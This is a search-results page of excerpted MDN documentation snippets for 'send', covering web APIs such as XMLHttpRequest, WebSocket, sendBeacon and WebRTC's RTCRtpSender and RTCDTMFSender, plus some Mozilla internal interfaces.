Search completed in 1.20 seconds.
Sending forms through JavaScript - Learn web development
let's first talk about why this requires a different approach. gaining control of the global interface standard html form submission, as described in the previous article, loads the url where the data was sent, which means the browser window navigates with a full page load. ...
...let's first talk about why this requires a different approach. gaining control of the global interface standard html form submission, as described in the previous article, loads the url where the data was sent, which means the browser window navigates with a full page load. ...
...mission, as described in the previous article, loads the url where the data was sent, which means the browser window navigates with a full page load. avoiding a full page load can provide a smoother experience by avoiding network lag, and possible visual issues like flickering. many modern uis only use html forms to collect input from the user, and not for data submission. when the user tries to
send the data, the application takes control and transmits the data asynchronously in the background, updating only the parts of the ui that require changes.
sending arbitrary data asynchronously is generally called ajax, which stands for "asynchronous javascript and xml". how is it different? the xmlhttprequest (xhr) dom object can build http requests,
send them, and retrieve their results. histor...
...And 24 more matches
Sending form data - Learn web development
previous overview: forms once the form data has been validated on the client-side, it is okay to submit the form. and, since we covered validation in the previous article, we're ready to submit! this article looks at what happens when a user submits a form — where does the data go, and how do we handle it when it gets there? we also look at some of the security concerns associated with
sending form data. prerequisites: basic computer literacy, an understanding of html, and basic knowledge of http and server-side programming. objective: to understand what happens when form data is submitted, including getting a basic idea of how data is processed on the server first we'll discuss what happens to the data when a form is submitted. client/server archite...
... programming. objective: to understand what happens when form data is submitted, including getting a basic idea of how data is processed on the server first we'll discuss what happens to the data when a form is submitted. client/server architecture at it's most basic, the web uses a client/server architecture that can be summarized as follows. a client (usually a web browser)
sends a request to a server (most of the time a web server like apache, nginx, iis, tomcat, etc.), using the http protocol. the server answers the request using the same protocol. an html form on a web page is nothing more than a convenient user-friendly way to configure an http request to
send data to a server. this enables the user to provide information to be delivered in the http request. not...
...all of its attributes are designed to let you configure the request to be sent when a user hits a submit button. the two most important attributes are action and method. ...
...And 14 more matches
RTCRtpSender.setStreams() - Web APIs
description setstreams() is purely additive. it doesn't remove the track from any streams; it simply adds it to new ones. ...
... description setstreams() is purely additive. it doesn't remove the track from any streams; it simply adds it to new ones. ...
... description setstreams() is purely additive. it doesn't remove the track from any streams; it simply adds it to new ones. ...
...And 10 more matches
RTCRtpSender - Web APIs
the rtcrtp
sender interface provides the ability to control and obtain details about how a particular mediastreamtrack is encoded and sent to a remote peer. with it, you can configure the encoding used for the corresponding track, get information about the device's media capabilities, and so forth. you can also obtain access to an rtcdtmf
sender which can be used to
send dtmf codes (to simulate the user pressing buttons on a telephone's dial pad) to the remote peer. properties rtcrtp
sender.dtmf read only an rtcdtmf
sender which can be used to
send dtmf tones using telephone-event payloads on the rtp session represented by the rtcrtp
sender object. if null, the track and/or the connection doesn't support dtmf. only audio tracks can support dtmf. ...
...this value is null until the transport is established. ...
...this value is null until the transport is established. ...
...And 8 more matches
nsIMsgSendLater
the nsimsg
sendlater interface provides functions for managing the unsent folder of a messaging account. inherits from: nsistreamlistener implemented by: @mozilla.org/messengercompose/
sendlater;1. ...
... the nsimsg
sendlater interface provides functions for managing the unsent folder of a messaging account. inherits from: nsistreamlistener implemented by: @mozilla.org/messengercompose/
sendlater;1. ...
... the nsimsg
sendlater interface provides functions for managing the unsent folder of a messaging account. inherits from: nsistreamlistener implemented by: @mozilla.org/messengercompose/
sendlater;1. ...
...And 7 more matches
RTCPeerConnection.getSenders() - Web APIs
example in this example, a setmuting() function is shown. ...
... example in this example, a setmuting() function is shown. ...
... example in this example, a setmuting() function is shown. ...
...And 7 more matches
Sending and Receiving Binary Data - Web APIs
var oreq = new xmlhttprequest(); oreq.open("get", "/myfile.png", true); oreq.responsetype = "arraybuffer"; oreq.onload = function (oevent) { var arraybuffer = oreq.response; // note: not oreq.responsetext if (arraybuffer) { var bytearray = new uint8array(arraybuffer); for (var i = 0; i < bytearray.bytelength; i++) { // do something with each byte in the array } } }; oreq.
send(null); you can also read a binary file as a blob by setting the string "blob" to the responsetype property. var oreq = new xmlhttprequest(); oreq.open("get", "/myfile.png", true); oreq.responsetype = "blob"; oreq.onload = function(oevent) { var blob = oreq.response; // ... }; oreq.
send(); receiving binary data in older browsers the load_binary_resource() function shown below loads ...
... binary data in older browsers the load_binary_resource() function shown below loads binary data from the specified url, returning it to the caller. function load_binary_resource(url) { var req = new xmlhttprequest(); req.open('get', url, false); //xhr binary charset opt by marcus granado 2006 [http://mgran.blogspot.com] req.overridemimetype('text\/plain; charset=x-user-defined'); req.
send(null); if (req.status != 200) return ''; return req.responsetext; } the magic happens in line 5, which overrides the mime type, forcing the browser to treat it as plain text, using a user-defined character set. this tells the browser not to parse it, and to let the bytes pass through unprocessed. var filestream = load_binary_resource(url); var abyte = filestream.charcodeat(x) & 0xff; // th...
...tes pass through unprocessed. var filestream = load_binary_resource(url); var abyte = filestream.charcodeat(x) & 0xff; // throw away high-order byte (f7) the example above fetches the byte at offset x within the loaded binary data. the valid range for x is from 0 to filestream.length-1. see downloading binary streams with xmlhttprequest for a detailed explanation. see also downloading files.
sending binary data the
send method of the xmlhttprequest has been extended to enable easy transmission of binary data by accepting an arraybuffer, blob, or file object. the following example creates a text file on-the-fly and uses the post method to
send the "file" to the server. this example uses plain text, but you can imagine the data being a binary file instead. var oreq = new xmlhttprequest()...
...And 7 more matches
XMLHttpRequest.sendAsBinary() - Web APIs
you can create the binary string using the filereader method readasbinarystring(). the string is converted to binary for transfer by removing the high-order byte of each character. ...
...you can create the binary string using the filereader method readasbinarystring(). the string is converted to binary for transfer by removing the high-order byte of each character. ...
...of the
send() method that
sends binary data. the
send() method now supports binary data and should now be used instead. this method makes it possible to read and upload any type of file and to stringify the raw data. warning: this method is obsolete and should not be used. you should instead simply use the
send() method, which now supports binary data in various forms. syntax xmlhttprequest.
sendasbinary(binarystring); parameters binarystring a domstring which encodes the binary content to be sent. you can create the binary string using the filereader method readasbinarystring(). the string is converted to binary for transfer by removing the high-order byte of each character. return value undefined. ...
...And 7 more matches
Navigator.sendBeacon() - Web APIs
for example, which link the user clicked before navigating away and unloading the page. ...
...for example, which link the user clicked before navigating away and unloading the page. ...
...for example, which link the user clicked before navigating away and unloading the page. ...
...And 6 more matches
RTCRtpSender.replaceTrack() - Web APIs
the rtcrtp
sender method replacetrack() replaces the track currently being used as the
sender's source with a new mediastreamtrack. the new track must be of the same media kind (audio, video, etc) and switching the track should not require negotiation. among the use cases for replacetrack() is the common need to switch between the rear- and front-facing cameras on a phone. with replacetrack(), you can simply have a track object for each camera and switch between the two as needed. see the example switching cameras below. syntax trackreplacedpromise =
sender.replacetrack(newtrack); parameters newtrack optional a mediastreamtrack specifying the track with which to replace the rtcrtp
sender's current source track. the new track's kind must be the same as the current track's, or the replace...
...ce track request will fail. return value a promise which is fulfilled once the track has been successfully replaced. the promise is rejected if the track cannot be replaced for any reason; this is commonly because the change would require renegotiation of the codec, which is not allowed (see things that require negotiation). if newtrack was omitted or was null, replacetrack() simply stops the
sender. no negotiation is required in this case. when the promise is fulfilled, the fulfillment handler receives a value of undefined. exceptions if the returned promise is rejected, one of the following exceptions is provided to the rejection handler: invalidmodificationerror replacing the rtcrtp
sender's current track with the new one would require negotiation. invalidstateerror the track on...
...ent the negotiated codec. ...
...And 5 more matches
RTCRtpSender.getCapabilities() static function - Web APIs
the static function rtcrtp
sender.getcapabilities() returns an rtcrtpcapabilities object describing the codecs and capabilities supported by the rtcrtp
sender. you can, similarly, obtain the capabilities of rtcrtpreceivers by calling the static function rtcrtpreceiver.getcapabilities(). syntax let rtpcapabilities = rtcrtp
sender.getcapabilities(kind); parameters kind a domstring indicating the type of media for which you wish to get the
sender's capability to receive. all browsers support the primary media kinds: audio and video. return value an rtcrtpcapabilities object stating what capabilities the browser has for
sending the specified media kind over an rtcpeerconnection. if the browser doesn't have any support for the given media kind, the returned value is null. description as ...
...browsers support the primary media kinds: audio and video. return value an rtcrtpcapabilities object stating what capabilities the browser has for
sending the specified media kind over an rtcpeerconnection. if the browser doesn't have any support for the given media kind, the returned value is null. description as a static function, this is always called using the form: capabilities = rtcrtp
sender.getcapabilities("audio"); the returned set of capabilities is the most optimistic possible list. it is entirely possible that certain combinations of options may fail to work when you actually try to use them. calling rtcrtp
sender.getcapabilities() doesn't prime the browser in any way to handle media. nothing is loaded, fetched, or otherwise prepared. it's simply a means of determining what m...
...d the like very often), the media capabilities can in whole or in part provide a cross-origin method for identifying a user. for that reason, in privacy-sensitive contexts, the browser may choose to obscure the capabilities; this might be done, for example, by leaving out rarely-used codec configurations. ...
...And 4 more matches
nsISyncMessageSender
idl file: mozilla-central/source/dom/base/nsimessagemanager.idl inherits from: nsimessagelistenermanager message "
senders" have a single "other side" to which messages are sent. for example, a child-process message manager will
send messages that are only delivered to its one parent-process message manager. see message manager interfaces for more details on the distinction between message
senders and message broadcasters. both
sendsyncmessage() and
sendrpcmessage() will block until a reply is received, but they may be temporarily interrupted to process an urgent incoming message (such as a cpow request). ...
...ssages that are only delivered to its one parent-process message manager. see message manager interfaces for more details on the distinction between message
senders and message broadcasters. both
sendsyncmessage() and
sendrpcmessage() will block until a reply is received, but they may be temporarily interrupted to process an urgent incoming message (such as a cpow request). ...
...ll block until a reply is received, but they may be temporarily interrupted to process an urgent incoming message (such as a cpow request). methods jsval
sendsyncmessage([optional] in astring messagename, [optional] in jsval obj, [optional] in jsval objects, [optional] in nsiprincipal principal); jsval
sendrpcmessage([optional] in astring messagename, [optional] in jsval obj, [optional] in jsval objects, [optional] in nsiprincipal principal);
sendsyncmessage() like
sendasyncmessage(), except blocks the
sender until all listeners of the message have been invoked. returns an array containing return values from each li...
...And 3 more matches
RTCDTMFSender.insertDTMF() - Web APIs
specifying an empty string as the tones parameter clears the tone buffer, aborting any currently queued tones. ...
...specifying an empty string as the tones parameter clears the tone buffer, aborting any currently queued tones. ...
...specifying an empty string as the tones parameter clears the tone buffer, aborting any currently queued tones. ...
...And 3 more matches
RTCDataChannel.send() - Web APIs
specifications exist to define how to automatically fragment large messages, but not all browsers implement them, and those that do have various additional restrictions. this will get less complicated over time, but for now, if you have questions, see understanding message size limits in using webrtc data channels. ...
...across the data channel to the remote peer. this can be done any time except during the initial process of creating the underlying transport channel. data sent before connecting is buffered if possible (or an error occurs if it's not possible), and is also buffered if sent while the connection is closing or closed. different browsers have different limitations on the size of the message you can
send. ...
...this may be a usvstring, a blob, an arraybuffer, or an arraybufferview. return value undefined. ...
...And 3 more matches
XMLHttpRequest.send() - Web APIs
the xmlhttprequest method
send()
sends the request to the server. if the request is asynchronous (which is the default), this method returns as soon as the request is sent and the result is delivered using events. if the request is synchronous, this method doesn't return until the response has arrived.
send() accepts an optional parameter which lets you specify the request's body; this is primarily used for requests such as put. if the request method is get or head, the body parameter is ignored and the request body is set to null. if no accept header has been set using the setrequestheader(), an accept header with the type "*/*" (any type) is sent. syntax xmlhttprequest.
send(body) parameters body optional a body of data to be sent in the xhr request. this can be: a document, in...
... networkerror the resource type to be fetched is a blob, and the method is not get. ...
... a document, in which case it is serialized before being sent. an xmlhttprequestbodyinit, which per the fetch spec can be a blob, buffersource, formdata, urlsearchparams, or usvstring object. null if no value is specified for the body, a default value of null is used. the best way to
send binary content (e.g. in file uploads) is by using an arraybufferview or blob in conjunction with the
send() method. return value undefined. exceptions exception description invalidstateerror
send() has already been invoked for the request, and/or the request is complete. networkerror the resource type to be fetched is a blob, and the method is not get. example: get var xhr = new xmlhttprequest(); xhr.open('get', '/server', true); xhr.onload = funct...
...And 3 more matches
RTCDTMFSender.toneBuffer - Web APIs
if the string is empty, there are no tones pending. tone buffer format the tone buffer is a string which can contain any combination of the characters that are permitted by the dtmf standard. dtmf tone characters the digits 0-9 these characters represent the digit keys on a telephone keypad. ...
...if the string is empty, there are no tones pending. tone buffer format the tone buffer is a string which can contain any combination of the characters that are permitted by the dtmf standard. dtmf tone characters the digits 0-9 these characters represent the digit keys on a telephone keypad. ...
...andard but not included on most telephones. these are not interpreted as digits. lower-case "a"-"d" automatically gets converted to upper-case. the pound/hash sign ("#") and the asterisk ("*") these correspond to the similarly-labeled keys which are typically on the bottom row of the telephone keypad. ...
...And 2 more matches
RTCDTMFSender - Web APIs
the primary purpose for webrtc's dtmf support is to allow webrtc-based communication clients to be connected to a public-switched telephone network (pstn) or other legacy telephone service, including extant voice over ip (voip) services. for that reason, dtmf can't be used between two webrtc-based devices, because there is no mechanism provided by webrtc for receiving dtmf codes. ...
...fill="#fff" stroke="#d4dde4" stroke-width="2px" /><text x="56" y="30" font-size="12px" font-family="consolas,monaco,andale mono,monospace" fill="#4d4e53" text-anchor="middle" alignment-baseline="middle">eventtarget</text></a><polyline points="111,25 121,20 121,30 111,25" stroke="#d4dde4" fill="none"/><line x1="121" y1="25" x2="151" y2="25" stroke="#d4dde4"/><a xlink:href="/docs/web/api/rtcdtmf
sender" target="_top"><rect x="151" y="1" width="130" height="50" fill="#f4f7f8" stroke="#d4dde4" stroke-width="2px" /><text x="216" y="30" font-size="12px" font-family="consolas,monaco,andale mono,monospace" fill="#4d4e53" text-anchor="middle" alignment-baseline="middle">rtcdtmf
sender</text></a></svg></div> a:hover text { fill: #0095dd; pointer-events: all;} properties rtcdtmf
sender.to...
...rtcdtmf
sender</text></a></svg></div> a:hover text { fill: #0095dd; pointer-events: all;} properties rtcdtmf
sender.tonebuffer read only a domstring which contains the list of dtmf tones currently in the queue to be transmitted (tones which have already been played are no longer included in the string). see tonebuffer for details on the format of the tone buffer. methods rtcdtmf
sender.insertdtmf() given a string describing a set of dtmf codes and, optionally, the duration of and inter-tone gap between the tones, insertdtmf() starts
sending the specified tones. calling insertdtmf() replaces any already-pending tones from the tonebuffer. you can abort
sending queued tones by specifying an empty string ("") as the set of tones to play. events listen to these events using ad...
...And 2 more matches
RTCRtpSendParameters.encodings - Web APIs
the rtcrtp
sendparameters dictionary's encodings property is an rtcrtpencodingparameters object providing configuration settings for the encoder being used for the rtcrtp
sender's track. syntax
sendparameters.encodings = encodingparameterlist; encodingparameterlist =
sendparameters.encodings; value an array of objects conforming to the rtcrtpencodingparameters dictionary, each of which contains properties which provide settings and parameters that describe and configure a single codec that could be used to encode the track. each object's properties are: active if true, the described encoding is currently actively being used. that is, for rtp
senders, the encoding is currently being used to
send data, while for receivers, the encoding is being used to decode received data. the default ...
...gure a single codec that could be used to encode the track. each object's properties are: active if true, the described encoding is currently actively being used. that is, for rtp
senders, the encoding is currently being used to
send data, while for receivers, the encoding is being used to decode received data. the default value is true. codecpayloadtype when describing a codec for an rtcrtp
sender, codecpayloadtype is a single 8-bit byte (or octet) specifying the codec to use for
sending the stream; the value matches one from the owning rtcrtpparameters object's codecs parameter. ...
...the value is taken from the enumerated string type rtcdtxstatus. ...
...And 2 more matches
RTCRtpSender.track - Web APIs
specifications specification status comment webrtc 1.0: real-time communication between browsersthe definition of 'track' in that specification. ...
... specifications specification status comment webrtc 1.0: real-time communication between browsersthe definition of 'track' in that specification. ...
... specifications specification status comment webrtc 1.0: real-time communication between browsersthe definition of 'track' in that specification. ...
...And 2 more matches
WebSocket.send() - Web APIs
the websocket.
send() method enqueues the specified data to be transmitted to the server over the websocket connection, increasing the value of bufferedamount by the number of bytes needed to contain the data. if the data can't be sent (for example, because it needs to be buffered but the buffer is full), the socket is closed automatically. syntax websocket.
send("hello server!"); parameters data the data to
send to the server. it may be one of the following types: usvstring a text string. the string is added to the buffer in utf-8 format, and the value of bufferedamount is increased by the number of bytes required to represent the utf-8 string. ...
...buffer is full), the socket is closed automatically. syntax websocket.
send("hello server!"); parameters data the data to
send to the server. it may be one of the following types: usvstring a text string. the string is added to the buffer in utf-8 format, and the value of bufferedamount is increased by the number of bytes required to represent the utf-8 string. arraybuffer you can
send the underlying binary data used by a typed array object; its binary data contents are queued in the buffer, increasing the value of bufferedamount by the requisite number of bytes. blob specifying a blob enqueues the blob's raw data to be transmitted in a binary frame. ...
...buffer you can
send the underlying binary data used by a typed array object; its binary data contents are queued in the buffer, increasing the value of bufferedamount by the requisite number of bytes. blob specifying a blob enqueues the blob's raw data to be transmitted in a binary frame. the value of bufferedamount is increased by the byte size of that raw data. arraybufferview you can
send any javascript typed array object as a binary frame; its binary data contents are queued in the buffer, increasing the value of bufferedamount by the requisite number of bytes. exceptions thrown invalid_state_err the connection is not currently open. syntax_err the data is a string that has unpaired surrogates. ...
...And 2 more matches
HTMLIFrameElement.sendMouseEvent()
non-standard this feature is non-standard and is not on a standards track. do not use it on production sites facing the web: it will not work for every user. there may also be large incompatibilities between implementations and the behavior may change in the future. the
sendmouseevent() method of the htmliframeelement interface allows you to fake a mouse event and
send it to the browser <iframe>'s content. syntax instanceofhtmliframeelement.
sendmouseevent(type, x, y, button, clickcount, modifiers); returns void. parameters type a string representing the event type. possible values are mousedown, mouseup, mousemove, mouseover, mouseout, or contextmenu. x a number representing the x position of the cursor relati...
... ...
... ...
... ...
RTCRtpSender.setParameters() - Web APIs
the setparameters() method of the rtcrtp
sender interface applies changes the configuration of
sender's track, which is the mediastreamtrack for which the rtcrtp
sender is responsible. in other words, setparameters() updates the configuration of the rtp transmission as well as the encoding configuration for a specific media track on the webrtc connection. syntax var promise = rtcrtp
sender.setparameters(parameters) parameters parameters an object conforming with the rtcrtp
sendparameters dictionary, specifying options for the rtcrtp
sender; these include potential codecs that could be use for encoding the
sender's track. the available options are: degradationpreference specifies the preferred way the webrtc layer should handle optimizing bandwidth against quality in constrained-ba...
...string from the rtcprioritytype enumerated type which indicates the encoding's priority. the default value is low. transactionid a string containing a unique id for the last set of parameters applied; this value is used to ensure that setparameters() can only be called to alter changes made by a specific previous call to getparameters(). return value a promise that resolves when the rtcrtp
sender.track property is updated with the given parameters. exceptions if an error occurs, the returned promise is rejected with the appropriate exception from the list below. invalidmodificationerror one of the following problems was detected: the number of encodings specified in the parameters object's encodings property does not match the number of encodings currently listed for the rtcrt...
...r.track property is updated with the given parameters. exceptions if an error occurs, the returned promise is rejected with the appropriate exception from the list below. invalidmodificationerror one of the following problems was detected: the number of encodings specified in the parameters object's encodings property does not match the number of encodings currently listed for the rtcrtp
sender. you cannot change the number of encoding options once the
sender has been created. the order of the specified encodings has changed from the current list's order. an attempt has been made to alter a property that cannot be changed after the
sender is first created. invalidstateerror the transceiver of which the rtcrtp
sender is a part is not running, or has no parameters to set. oper...
...is not allowed; or one or more of the specified encodings' maxframerate values is less than 0.0. in addition, if a webrtc error occurs while configuring or accessing the media, an rtcerror is thrown with its errordetail set to hardware-encoder-error. specifications specification status comment webrtc 1.0: real-time communication between browsersthe definition of 'rtcrtp
sender.setparameters()' in that specification. candidate recommendation initial definition. ...
HTMLIFrameElement.sendTouchEvent()
parameters type a string representing the event type. possible values are touchstart, touchend, touchmove, or touchcancel. x an array of numbers representing the x position of each touch point relative to the browser <iframe>'s visible area in css pixels. ...
... parameters type a string representing the event type. possible values are touchstart, touchend, touchmove, or touchcancel. x an array of numbers representing the x position of each touch point relative to the browser <iframe>'s visible area in css pixels. ...
... ...
nsIMessageSender
idl file: mozilla-central/source/dom/base/nsimessagemanager.idl inherits from: nsimessagelistenermanager message
senders enable clients to
send asynchronous messages to a single "other side". for example, a child-process message manager will
send messages that are only delivered to its one parent-process message manager. to
send messages to multiple "other sides", you would use nsimessagebroadcaster. see message manager interfaces for more details on the distinction between message
senders and message broadcasters. ...
... asynchronous messages to a single "other side". for example, a child-process message manager will
send messages that are only delivered to its one parent-process message manager. to
send messages to multiple "other sides", you would use nsimessagebroadcaster. see message manager interfaces for more details on the distinction between message
senders and message broadcasters. methods void
sendasyncmessage([optional] in astring messagename, [optional] in jsval obj, [optional] in jsval objects, [optional] in nsiprincipal principal);
sendasyncmessage()
send messagename and obj to the "other side" of this message manager. this invokes listeners who registered for messagename using a nsimessagelistenermanage...
...sval objects, [optional] in nsiprincipal principal);
sendasyncmessage()
send messagename and obj to the "other side" of this message manager. this invokes listeners who registered for messagename using a nsimessagelistenermanager. see nsimessagelistener::receivemessage() for the format of the data delivered to listeners. throws ns_error_not_initialized if the
sender is not initialized. for example, we will throw ns_error_not_initialized if we try to
send a message to a cross-process frame but the other process has not yet been set up. throws ns_error_failure when the message receiver cannot be found. for example, we will throw ns_error_failure if we try to
send a message to a cross-process frame whose process has crashed. parameters name type...
RTCDTMFSender: tonechange event - Web APIs
the tonechange event is sent to an rtcdtmf
sender by the webrtc api to indicate when dtmf tones previously queued for
sending (by calling rtcdtmf
sender.insertdtmf()) begin and end. bubbles no cancelable no interface rtcdtmftonechangeevent event handler property ontonechange to determine what tone started playing, or if a tone stopped playing, check the value of the event's tone property. examples this example establishes a handler for the tonechange event which updates an element to display the currently playing tone in its content, or, if all tones have played, the string "<none>". ...
...r property ontonechange to determine what tone started playing, or if a tone stopped playing, check the value of the event's tone property. examples this example establishes a handler for the tonechange event which updates an element to display the currently playing tone in its content, or, if all tones have played, the string "<none>". ...
... playing tone in its content, or, if all tones have played, the string "<none>". this can be done using addeventlistener(): dtmf
sender.addeventlistener("tonechange", ev => { let tone = ev.tone; if (tone === "") { tone = "<none>"; } document.getelementbyid("playingtone").innertext = tone; }, false); you can also just set the ontonechange event handler property directly: dtmf
sender.ontonechange = function( ev ) { let tone = ev.tone; if (tone === "") { tone = "<none>" } document.getelementbyid("playingtone").innertext = tone; }; specifications specification status comment webrtc 1.0: real-time communication between browsersthe definition of 'tonechange' in that specification. candidate recommendation definition for the web...
RTCRtpSender.getStats() - Web APIs
the rtcrtp
sender method getstats() asynchronously requests an rtcstatsreport object which provides statistics about outgoing traffic on the rtcpeerconnection which owns the
sender, returning a promise which is fulfilled when the results are available. syntax var promise = rtcrtp
sender.getstats(); return value a javascript promise which is fulfilled once the statistics are available. the promise's fulfillment handler receives as a parameter a rtcstatsreport object containing the collected statistics. the returned rtcstatsreport accumulates the statistics for all of the streams being sent using the rtcrtp
sender, as well as the statistics for any dependencies those streams have. ...
...nce the statistics are available. the promise's fulfillment handler receives as a parameter a rtcstatsreport object containing the collected statistics. the returned rtcstatsreport accumulates the statistics for all of the streams being sent using the rtcrtp
sender, as well as the statistics for any dependencies those streams have. example this simple example obtains the statistics for an rtcrtp
sender and updates an element's innertext to display the current round trip time for requests on the
sender. ...
...bject containing the collected statistics. the returned rtcstatsreport accumulates the statistics for all of the streams being sent using the rtcrtp
sender, as well as the statistics for any dependencies those streams have. example this simple example obtains the statistics for an rtcrtp
sender and updates an element's innertext to display the current round trip time for requests on the
sender.
sender.getstats().then(function(stats) { document.getelementbyid("currentrtt").innertext = stats.roundtriptime; }); specifications specification status comment webrtc 1.0: real-time communication between browsersthe definition of 'rtcrtp
sender.getstats()' in that specification. candidate recommendation initial specification. ...
PR_Send
buf a pointer to a buffer containing the data to be sent. amount the size of buf (in bytes). flags this obsolete parameter must always be zero. timeout a value of type printervaltime specifying the time limit for completion of the receive operation. returns the function returns one of the following values: a positive number indicates the number of bytes successfully sent. if the parameter fd is a blocking socket, this number must always equal amount. ...
...e specifying the time limit for completion of the receive operation. returns the function returns one of the following values: a positive number indicates the number of bytes successfully sent. if the parameter fd is a blocking socket, this number must always equal amount. the value -1 indicates a failure. the reason for the failure can be obtained by calling pr_geterror. description pr_
send blocks until all bytes are sent, a timeout occurs, or an error occurs. ...
PR_SendTo
buf a pointer to a buffer containing the data to be sent. amount the size of buf (in bytes). flags this obsolete parameter must always be zero. addr a pointer to the address of the destination. timeout a value of type printervaltime specifying the time limit for completion of the receive operation. returns the function returns one of the following values: a positive number indicates the number of bytes successfully sent. ...
...inter to the address of the destination. timeout a value of type printervaltime specifying the time limit for completion of the receive operation. returns the function returns one of the following values: a positive number indicates the number of bytes successfully sent. the value -1 indicates a failure. the reason for the failure can be obtained by calling pr_geterror. description pr_
sendto
sends a specified number of bytes from a socket to the specified destination address. the calling thread blocks until all bytes are sent, a timeout has occurred, or there is an error. ...
RTCRtpSendParameters - Web APIs
degradationpreference specifies the preferred way the webrtc layer should handle optimizing bandwidth against quality in constrained-bandwidth situations; the value comes from the rtcdegradationpreference enumerated string type, and the default is balanced. encodings an array of rtcrtpencodingparameters objects, each specifying the parameters for a single codec that could be used to encode the track's media. ...
...e default value is low. transactionid a string containing a unique id for the last set of parameters applied; this value is used to ensure that setparameters() can only be called to alter changes made by a specific previous call to getparameters(). specifications specification status comment webrtc 1.0: real-time communication between browsersthe definition of 'rtcrtp
sendparameters' in that specification. candidate recommendation initial definition. ...
RTCRtpSender.dtmf - Web APIs
the read-only dtmf property on the rtcrtp
sender interface returns a rtcdtmf
sender object which can be used to
send dtmf tones over the rtcpeerconnection . see using dtmf for details on how to make use of the returned rtcdtmf
sender object. syntax var dtmf
sender = rtcrtp
sender.dtmf; value an rtcdtmf
sender which can be used to
send dtmf over the rtp session, or null if the track being carried by the rtp session or the rtcpeerconnection as a whole doesn't support dtmf. ...
... of the returned rtcdtmf
sender object. syntax var dtmf
sender = rtcrtp
sender.dtmf; value an rtcdtmf
sender which can be used to
send dtmf over the rtp session, or null if the track being carried by the rtp session or the rtcpeerconnection as a whole doesn't support dtmf. only audio tracks can support dtmf, and typically only one audio track per rtcpeerconnection will have an associated rtcdtmf
sender example tbd specifications specification status comment webrtc 1.0: real-time communication between browsersthe definition of 'rtcrtp
sender.dtmf' in that specification. candidate recommendation ...
RTCRtpSender.getParameters() - Web APIs
the getparameters() method of the rtcrtp
sender interface returns an rtcrtp
sendparameters object describing the current configuration for the encoding and transmission of media on the
sender's track. syntax var rtp
sendparameters = rtp
sender.getparameters() parameters none. return value an rtcrtp
sendparameters object indicating the current configuration of the
sender. examples this example gets the
sender's current transaction id; the transaction id uniquely identifies the current set of parameters, to ensure that calls to setparameters() are always handled in the correct order, avoiding inadvertently overwriting parameters with older parameters. ...
...e. return value an rtcrtp
sendparameters object indicating the current configuration of the
sender. examples this example gets the
sender's current transaction id; the transaction id uniquely identifies the current set of parameters, to ensure that calls to setparameters() are always handled in the correct order, avoiding inadvertently overwriting parameters with older parameters. function get
sendertransactionid(
sender) { let parameters =
sender.getparameters(); return parameters.transactionid; } specifications specification status comment webrtc 1.0: real-time communication between browsersthe definition of 'getparameters()' in that specification. candidate recommendation initial definition. ...
RTCRtpSender.transport - Web APIs
the read-only transport property of an rtcrtp
sender object provides the rtcdtlstransport object used to interact with the underlying transport over which the
sender is exchanging real-time transport control protocol (rtcp) packets. this transport is responsible for receiving the data for the media on the
sender's track. syntax let transport = rtcrtp
sender.transport; value an rtcdtlstransport object representing the underlying transport being used by the
sender to exchange packets with the remote peer, or null if the
sender isn't yet connected to a transport. description when the rtcrtp
sender is first created, the value of transport is null. this is replaced with an rtcdtlstransport once the
sender's transport has been established. note that when bundling is in effect—that is, when t...
...
sender isn't yet connected to a transport. description when the rtcrtp
sender is first created, the value of transport is null. this is replaced with an rtcdtlstransport once the
sender's transport has been established. note that when bundling is in effect—that is, when the rtcpeerconnection was created with an rtcconfiguration object whose bundlepolicy is max-compat or max-bundle—multiple
senders may be sharing the same transport; in this case, all of them are using the same connection to transmit and/or receive rtp and rtcp packets. specifications specification status comment webrtc 1.0: real-time communication between browsersthe definition of 'rtcrtp
sender.transport' in that specification. candidate recommendation ...
RTCDTMFSender.ontonechange - Web APIs
the ontonechange property of the rtcdtmf
sender interface is used to set the event handler for the tonechange event, which is sent to the rtcdtmf
sender each time a tone begins or ends. the event handler receives as input a single parameter of type rtcdtmftonechangeevent, which describes the change. syntax rtcdtmf
sender.ontonechange = tonechangehandlerfunction; value a function which is called when a tonechange event is sent to the rtcdtmf
sender, indicating that a dtmf tone has either started playing, or if all tones have finished playing. example tbd specifications specification status comment webrtc 1.0: real-time communication between browsersthe definition of 'ontonechange' in that specification. candidate recommendation ...
RTCRtpTransceiver.sender - Web APIs
the read-only
sender property of webrtc's rtcrtptransceiver interface indicates the rtcrtp
sender responsible for encoding and
sending outgoing media data for the transceiver's stream. syntax var rtp
sender = rtcrtptransceiver.
sender; value an rtcrtp
sender object used to encode and
send media whose media id matches the current value of mid. specifications specification status comment webrtc 1.0: real-time communication between browsersthe definition of 'rtcrtptransceiver.
sender' in that specification. candidate recommendation ...
XDomainRequest.send() - Web APIs
sends an xdomainrequest which has previously been opened calling xdomainrequest.open(). syntax xdr.
send(data); parameters data the form data to be sent with the request. this parameter is optional for get requests. example var xdr = new xdomainrequest(); xdr.open("post", "http://example.com/api/method"); xdr.onload = function(){ //handle response with xdr.responsetext } xdr.
send("param1=value1¶m2=value2"); specification not part of any specification. ...
Index - Web APIs
r of the broadcastchannel interface is an eventlistener, called whenever an messageevent of type messageerror is fired on the broadcastchannel instance — that is, when it receives a message that cannot be deserialized. 369 broadcastchannel.postmessage() api, broadcast channel api, broadcastchannel, experimental, html api, method, reference the broadcastchannel.postmessage()
sends a message, which can be of any kind of object, to each listener in any browsing context with the same origin. the message is transmitted as a message event targeted at each broadcastchannel bound to the channel. 370 broadcastchannel: message event communication, event, eventsource, reference, events, message, messaging the message event is fired on a broadcastchannel object ...
...mple, property, reference, service workers, serviceworker, id the id read-only property of the client interface returns the universally unique identifier of the client object. 627 client.postmessage() api, client, experimental, method, reference, service workers, service worker api, serviceworker, postmessage the postmessage() method of client allows a service worker to
send a message to a client (a window, worker, or sharedworker). the message is received in the "message" event on navigator.serviceworker. 628 client.type api, client, property, reference, service workers, type the type read-only property of the client interface indicates the type of client the service worker is controlling. 629 client.url api, client, experimental...
...terface is an eventlistener, called whenever an messageevent of type messageerror is fired on the worker—that is, when it receives a message that cannot be deserialized. 819 dedicatedworkerglobalscope.postmessage() api, dedicatedworkerglobalscope, method, reference, référence(2), web workers, postmessage the postmessage() method of the dedicatedworkerglobalscope interface
sends a message to the main thread that spawned it. this accepts a single parameter, which is the data to
send to the worker. the data may be any value or javascript object handled by the structured clone algorithm, which includes cyclical references. 820 dedicatedworkerglobalscope: message event event the message event is fired on a dedicatedworkerglobalscope object when the work...
...And 95 more matches
nsIDOMWindowUtils
